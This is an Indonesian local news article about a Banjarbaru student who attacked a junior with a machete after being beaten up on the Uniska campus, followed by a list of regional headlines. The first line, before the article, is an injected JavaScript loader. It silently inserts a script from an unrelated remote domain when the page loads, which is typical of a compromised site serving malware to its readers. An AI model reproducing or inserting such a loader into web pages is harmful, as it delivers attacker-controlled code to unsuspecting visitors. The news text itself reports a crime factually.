(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Wahyudi Ayunkan Parang ke Adik Kelasnya Karena Dikeroyok di Gedung Kampus Uniska


BANJARBARU, Pasca kasus perkelahian mahasiswa di Uniska pada Senin (14/10), Wahyudi (26) mahasiswa asal Kabupaten Tapin akhirnya ditetapkan sebagai tersangka. Hal ini lantaran aksinya yang coba ‘menghabisi’ adik kelasnya H menggunakan parang.

Terungkap, awalnya Wahyudi awalnya dikeroyok  sebelum aksi pembalasannya di halaman parkir. Sebelumnya, sudah beredar video berdurasi 11 detik yang menayangkan pengeroyokan di dalam gedung Kampus terhadap salah satu mahasiswa

Kakak Wahyudi, Herma, menerangkan bahwa dalam video tersebut, adiknya awal berkelahi satu lawan satu melawan H. Namun, teman-teman H ikut membantu perkelahian sehingga Wahyudi kalah telak dan mengalami luka memar.

“Adik saya tidak terima dikeroyok begitu. Dia (Wahyudi) pulang ke rumah mengambil senjata tajam dan kembali ke kampus Uniska. Sampai akhirnya melakukan tindakan nekat tersebut. Saya saat itu tidak di rumah, sedang bekerja. Tahu kejadian ini, setelah adik saya di amankan,” terang Herma.

Herma sendiri mengaku, dirinya mendampingi adiknya sampai malam hari di Mapolres. Rencananya, pihak keluarga Wahyudi akan melaporkan secara resmi ke kepolisian, terkait kejadian penyerokokan adiknya Selasa (15/10) ini.

Meski dikeroyok, dalam kasus perkelahian ini Wahyudi telah melanggar hukum yang berlaku. Pihak kepolisian sendiri menyangkakan  UU Darurat No 12 Tahun 1951 kepada Wahyudi tentang menguasai atau memiliki dan atau menyimpan senjata tajam tanpa dilengkapi surat ijin yang sah dengan ancaman pidana penjara paling lama 10 tahun.

Seperti yang diberitakan sebelumnya, halaman parkir Uniska di Banjarbaru, Senin (14/10) sekitar pukul 14.17 wita dibuat geger. Penyerangan Wahyudi menggunakan parang, membuat jam perkuliahan sempat terganggu.

Dari keterangan yang didapat,  keributan tersebut ulah Wahyudi saat menyerang adik kelasnya sendiri yakni H. “Saat tiba di tempat kejadian kerumunan mahasiswa lainnya cukup banyak dan petugas gabungan dari Polres Banjarbaru berhasil mengamankan pelaku beserta senjata tajam jenis parang dengan panjang 41 cm dengan gagang warna coklat yang dibawanya,” ucapnya Kasubag Humas Polres Banjarbaru, AKP Siti Rohayati. (Rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

65 Kg Sabu dan 12 Ribu Butir Ekstasi Jaringan Fredy Pratama Dimusnahkan

KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) memusnahan barang bukti sitaan narkoba hasil… Read More

7 jam ago

Tunggu Keluarga, Jasad Lelaki Tak Bernyawa Disimpan di Kamar Jenazah RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU – Lelaki tak beridentitas yang ditemukan tergeletak tak bernyawa di Jalan Wira Agung… Read More

7 jam ago

Kenal Pamit Kapolres Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Kepolisian Resor (Kapolres) Kota Banjarbaru resmi berganti dari AKBP Dody Harza… Read More

9 jam ago

Tak Beridentitas, Jasad Lelaki Didapati Membiru di Landasan Ulin Tengah

KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More

14 jam ago

Parkir Sembarangan Sekitar Taman Van der Pijl, Siap-siap Kena Derek!

KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More

14 jam ago

Ombudsman Kalsel Terima 235 Aduan di 2024, Ini Sektor Paling Banyak Dilaporkan

KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More

15 jam ago

This website uses cookies.